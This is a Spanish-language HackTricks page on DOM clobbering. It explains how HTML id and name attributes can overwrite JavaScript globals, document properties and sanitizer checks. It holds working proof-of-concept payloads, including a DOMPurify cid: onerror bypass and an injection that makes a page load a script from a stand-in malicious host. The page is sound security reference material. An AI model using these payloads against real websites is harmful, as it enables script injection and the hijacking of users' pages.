mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-17 06:28:27 +00:00
222 lines
14 KiB
Markdown
222 lines
14 KiB
Markdown
# Dom Clobbering
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|
||
|
||
## **Conceptos básicos**
|
||
|
||
Es posible generar **variables globales dentro del contexto JS** con los atributos **`id`** y **`name`** en etiquetas HTML.
|
||
```html
|
||
<form id=x></form>
|
||
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
|
||
```
|
||
Solo ciertos elementos pueden usar el atributo **name** para clobber globals, son: `embed`, `form`, `iframe`, `image`, `img` y `object`.
|
||
|
||
Curiosamente, cuando se utiliza un **elemento de formulario** para **clobber** una variable, se obtendrá el valor **`toString`** del propio elemento: `[object HTMLFormElement]` pero con **anchor** el **`toString`** será el **`href`** del anchor. Por lo tanto, si se clobber usando la etiqueta **`a`**, se puede **controlar** el **valor** cuando se trata como una cadena:
|
||
```html
|
||
<a href="controlled string" id=x></a>
|
||
<script>
|
||
console.log(x);//controlled string
|
||
</script>
|
||
```
|
||
### Arrays y Atributos
|
||
|
||
También es posible **sobrescribir un array** y **los atributos de un objeto**:
|
||
```html
|
||
<a id=x>
|
||
<a id=x name=y href=controlled>
|
||
<script>
|
||
console.log(x[1])//controlled
|
||
console.log(x.y)//controlled
|
||
</script>
|
||
```
|
||
Para sobrescribir **un tercer atributo** (por ejemplo, x.y.z), necesitas usar un **`form`**:
|
||
```html
|
||
<form id=x name=y><input id=z value=controlled></form>
|
||
<form id=x></form>
|
||
<script>
|
||
alert(x.y.z.value)//controlled
|
||
</script>
|
||
```
|
||
Sobrescribir más atributos es **más complicado pero aún posible**, utilizando iframes:
|
||
```html
|
||
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
|
||
<style>@import 'https://google.com';</style>
|
||
<script>alert(x.y)//controlled</script>
|
||
```
|
||
{% hint style="warning" %}
|
||
La etiqueta style se utiliza para **dar suficiente tiempo al iframe para renderizar**. Sin ella, se mostrará una alerta de **indefinido**.
|
||
{% endhint %}
|
||
|
||
Para clobber atributos más profundos, puedes utilizar **iframes con codificación HTML** de esta manera:
|
||
```html
|
||
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;#x20;name=e&amp;#x20;href=\controlled&amp;gt;<a&amp;#x20;id=d&amp;gt; name=d>' name=b>"></iframe>
|
||
<style>@import 'https://google.com';</style>
|
||
<script>
|
||
alert(a.b.c.d.e)//controlled
|
||
</script>
|
||
```
|
||
### **Burlando Filtros**
|
||
|
||
Si un filtro está **recorriendo** las **propiedades** de un nodo usando algo como `document.getElementByID('x').attributes`, podrías **sobrescribir** el atributo **`.attributes`** y **romper el filtro**. Otras propiedades del DOM como **`tagName`**, **`nodeName`** o **`parentNode`** y más también son **sobrescribibles**.
|
||
```html
|
||
<form id=x></form>
|
||
<form id=y>
|
||
<input name=nodeName>
|
||
</form>
|
||
<script>
|
||
console.log(document.getElementById('x').nodeName)//FORM
|
||
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
|
||
</script>
|
||
```
|
||
## **Sobrescribiendo `window.someObject`**
|
||
|
||
Un patrón común utilizado por los desarrolladores de JavaScript es:
|
||
```javascript
|
||
var someObject = window.someObject || {};
|
||
```
|
||
Si puedes controlar parte del HTML en la página, puedes sobrescribir la referencia `someObject` con un nodo DOM, como un enlace. Considera el siguiente código:
|
||
```html
|
||
<script>
|
||
window.onload = function(){
|
||
let someObject = window.someObject || {};
|
||
let script = document.createElement('script');
|
||
script.src = someObject.url;
|
||
document.body.appendChild(script);
|
||
};
|
||
</script>
|
||
```
|
||
Para explotar este código vulnerable, podrías inyectar el siguiente HTML para sobrescribir la referencia `someObject` con un elemento de anclaje:
|
||
|
||
{% code overflow="wrap" %}
|
||
```html
|
||
<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>
|
||
```
|
||
{% endcode %}
|
||
|
||
Inyectar los datos **`window.someObject.url`** va a ser `href=//malicious-website.com/malicious.js`
|
||
|
||
**Truco**: **`DOMPurify`** te permite usar el protocolo **`cid:`**, el cual **no codifica en URL las comillas dobles**. Esto significa que puedes **inyectar una comilla doble codificada que será decodificada en tiempo de ejecución**. Por lo tanto, inyectar algo como **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">`** hará que la comilla codificada `"` sea **decodificada en tiempo de ejecución** y **escape** del valor del atributo para **crear** el evento **`onerror`**.
|
||
|
||
Otra técnica común consiste en usar el elemento **`form`**. Algunas bibliotecas del lado del cliente pasarán por los atributos del elemento de formulario creado para sanitizarlo. Pero, si creas un `input` dentro del formulario con `id=attributes`, **sobrescribirás la propiedad de atributos** y el sanitizador **no** podrá pasar por los **atributos reales**.
|
||
|
||
Puedes [**encontrar un ejemplo de este tipo de sobrescritura en este informe de CTF**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
|
||
|
||
## Sobrescribiendo el objeto document
|
||
|
||
Según la documentación, es posible sobrescribir los atributos del objeto document usando DOM Clobbering:
|
||
|
||
> La interfaz [Document](https://html.spec.whatwg.org/multipage/dom.html#document) [admite propiedades con nombre](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Los [nombres de propiedad admitidos](https://webidl.spec.whatwg.org/#dfn-supported-property-names) de un objeto [Document](https://html.spec.whatwg.org/multipage/dom.html#document) en cualquier momento consisten en lo siguiente, en [orden de árbol](https://dom.spec.whatwg.org/#concept-tree-order) según el elemento que los contribuyó, ignorando duplicados posteriores, y con valores de atributos [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) que vienen antes que los valores de atributos de nombre cuando el mismo elemento contribuye a ambos:
|
||
>
|
||
> \- El valor del atributo de contenido de nombre para todos los elementos [expuestos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) y [expuestos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) que tienen un atributo de contenido de nombre no vacío y están [en un árbol de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) con el documento como su [raíz](https://dom.spec.whatwg.org/#concept-tree-root);\
|
||
> \
|
||
> \- El valor del atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) para todos los elementos [expuestos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) que tienen un atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) no vacío y están [en un árbol de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) con el documento como su [raíz](https://dom.spec.whatwg.org/#concept-tree-root);\
|
||
> \
|
||
> \- El valor del atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) para todos los elementos [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) que tienen tanto un atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) no vacío como un atributo de contenido de nombre no vacío, y están [en un árbol de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) con el documento como su [raíz](https://dom.spec.whatwg.org/#concept-tree-root).
|
||
|
||
Usando esta técnica, puedes sobrescribir **valores comúnmente usados como `document.cookie`, `document.body`, `document.children`**, e incluso métodos en la interfaz Document como `document.querySelector`.
|
||
```javascript
|
||
document.write("<img name=cookie />")
|
||
|
||
document.cookie
|
||
<img name="cookie">
|
||
|
||
typeof(document.cookie)
|
||
'object'
|
||
|
||
//Something more sanitize friendly than a img tag
|
||
document.write("<form name=cookie><input id=toString></form>")
|
||
|
||
document.cookie
|
||
HTMLCollection(2) [img, form, cookie: img]
|
||
|
||
typeof(document.cookie)
|
||
'object
|
||
```
|
||
## Escribiendo después del elemento clobbered
|
||
|
||
Puedes clobber los resultados de una llamada **`document.getElementById()`** y **`document.querySelector()`** si **inyectas una etiqueta `<html>` o `<body>` con el mismo atributo id**. Aquí tienes un ejemplo:
|
||
```html
|
||
<div style=display:none id=cdnDomain class=x>test</div>
|
||
<p>
|
||
<html id="cdnDomain" class=x>clobbered</html>
|
||
<script>
|
||
alert(document.getElementById('cdnDomain').innerText);//clobbbered
|
||
alert(document.querySelector('.x').innerText);//clobbbered
|
||
</script>
|
||
```
|
||
También es interesante que puedes **ocultar elementos del `innerText`**, por lo que si inyectas una etiqueta HTML/body, puedes usar estilos para ocultarla del `innerText` y evitar que otro texto interfiera con tu ataque:
|
||
```html
|
||
<div style=display:none id=cdnDomain>test</div>
|
||
<p>existing text</p>
|
||
<html id="cdnDomain">clobbered</html>
|
||
<style>
|
||
p{display:none;}
|
||
</style>
|
||
<script>
|
||
alert(document.getElementById('cdnDomain').innerText);//clobbbered
|
||
</script>
|
||
```
|
||
Miramos también SVG y es posible usar la etiqueta `<body>` allí:
|
||
```html
|
||
<div style=display:none id=cdnDomain>example.com</div>
|
||
<svg><body id=cdnDomain>clobbered</body></svg>
|
||
<script>
|
||
alert(document.getElementById('cdnDomain').innerText)//clobbered
|
||
</script>
|
||
```
|
||
Necesitas una etiqueta `<foreignobject>` para poder usar la etiqueta HTML dentro de SVG en Chrome y Firefox:
|
||
```html
|
||
<div style=display:none id=cdnDomain>example.com</div>
|
||
<svg>
|
||
<foreignobject>
|
||
<html id=cdnDomain>clobbered</html>
|
||
</foreignobject>
|
||
</svg>
|
||
<script>
|
||
alert(document.getElementById('cdnDomain').innerText)//clobbered
|
||
</script>
|
||
```
|
||
## Clobbering de Formularios
|
||
|
||
Es posible agregar **nuevas entradas dentro de un formulario** simplemente especificando el atributo `form` dentro de algunas etiquetas. Puedes usar esto para **agregar nuevos valores dentro de un formulario** e incluso agregar un nuevo **botón** para **enviarlo** (clickjacking o abusando de algún código JS `.click()`):
|
||
|
||
{% code overflow="wrap" %}
|
||
```html
|
||
<!--Add a new attribute and a new button to send-->
|
||
<textarea form=id-other-form name=info>
|
||
";alert(1);//
|
||
</textarea>
|
||
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
|
||
Click to send!
|
||
</button>
|
||
```
|
||
{% endcode %}
|
||
|
||
* Para más atributos de formulario en [**botón revisa esto**](https://www.w3schools.com/tags/tag\_button.asp)**.**
|
||
|
||
## Referencias
|
||
|
||
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||
* Heyes, Gareth. JavaScript para hackers: Aprende a pensar como un hacker.
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|